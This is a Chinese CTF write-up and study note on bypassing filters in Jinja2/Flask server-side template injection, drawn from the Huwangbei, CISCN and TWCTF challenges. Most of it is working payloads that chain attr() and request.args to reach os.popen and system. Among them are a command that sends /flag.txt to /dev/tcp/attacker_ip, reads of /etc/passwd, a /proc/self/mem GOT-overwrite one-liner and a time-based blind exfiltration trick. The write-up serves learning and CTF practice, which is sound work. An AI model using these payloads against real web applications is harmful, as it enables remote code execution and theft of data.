0x00前言
护网杯过去不久,realworld到来之前先来研究研究SSTI的Bypass套路
0x01 SSTI Bypass
首先来看一个护网杯的那道easypy,后台在输入{{config}}
的时候出现回显,因此判断是SSTI
继续测试,发现其过滤了[
,'
,_
以及一些特殊的字符,像os,d等字符串,因此在一篇文章中发现如下的方法,使用attr进行绕过
http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__
得到回显
因此只需要将[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('whoami').read()
转为如上的payload即可拿到flag,因此最后的payload为
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("/bin/bash+-c+\"cat+/flag.txt+>+/dev/tcp/attacker_ip/8080\"")
同时,还可以使用如下的payload进行ssti
{% print ""|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(99)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)("o"+"s")|attr("popen")("cat flag.txt")|attr(request.args.re)()|safe%}&globals=__globals__&subclasses=__subclasses__&re=read&init=__init__&base=__base__&class=__class__&getitem=__getitem__
因此借这道题目来进行一下SSTI Bypass的学习
来个简易的脚本
import sys
from jinja2 import Template
template = Template("Hello {}".format(sys.argv[1] if len(sys.argv) > 1else '<yes>'))
print(template.render())
绕过 _ 符号
这个就是在护网杯的时候的两个payload,同时还有如下payload
{{(()|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)()).pop(40)(request.args.file).read()}}¶m=__class__¶m1=__base__¶m2=__subclasses__&file=/etc/passwd
绕过[符号
通过调用global进行命令执行
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen('whoami').read()}}
该payload只能在python2版本下使用
绕过 . 符号
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()
import 被阉割的情况
该问题出现在18年的全国大学生安全竞赛,因此可以用使用write修改got表。实际上是一个 /proc/self/mem
的内存操作方法 /proc/self/mem
是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如 system
,我们便可以通过覆写 got 表达到 getshell的目的。
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
第一个是地址偏移,第二个是fopen的偏移,我们可以通过 objdump
获取相关信息
因此可以劫持got表getshell
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /etc/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
这个太难了,立个flag,后期学
或者寻找import的简介引用, closure 这个 object 保存了参数,可以引用原生的 import
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')
绕过 ( 、)、self、config
这个题目是TWCTF的题目,源码如下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
因此利用__dict__
和__globals__
获取属性和定义域信息
payload为
url_for.__globals__['current_app'].config
get_flashed_messages.__globals__['current_app'].config获取sys
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}
或者使用request来递归子属性,借用大佬的脚本进行回溯
# search.py
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
app.py
import flask
import os
from flask import request
from search import search
app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path
if __name__ == '__main__':
app.run(debug=True)
在无回显的情况下除了将flag弹回到自己的vps上面之外也可以用glzjin的利用事件盲注文件内容的方法
因此可以使用如下的方法继续判断
c=`cut -b 5 flag`; [ $c = "{" ] && sleep 4
闭包避免了使用全局变量,此外,闭包允许将函数与其所操作的某些数据(环境)关连起来。这一点与面向对象编程是非常类似的,在面对象编程中,对象允许我们将某些数据(对象的属性)与一个或者多个方法相关联。 它返回的是一个由 cell 对象 组成的元组对象 ,那么就可以用来调用os方法了,因此可以使用闭包__closure__
方法来引用os模块,payload如下
__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('c=`cut -b 5 /root/flag`; [ $c = \"{\" ] && sleep 3 ')
Reference
- https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
- https://wiki.x10sec.org/pwn/sandbox/python-sandbox-escape/
- https://bestwing.me/awesome-python-sandbox-in-ciscn.html
- https://xz.aliyun.com/t/52#toc-0
- https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/
- https://www.zhaoj.in/read-6251.html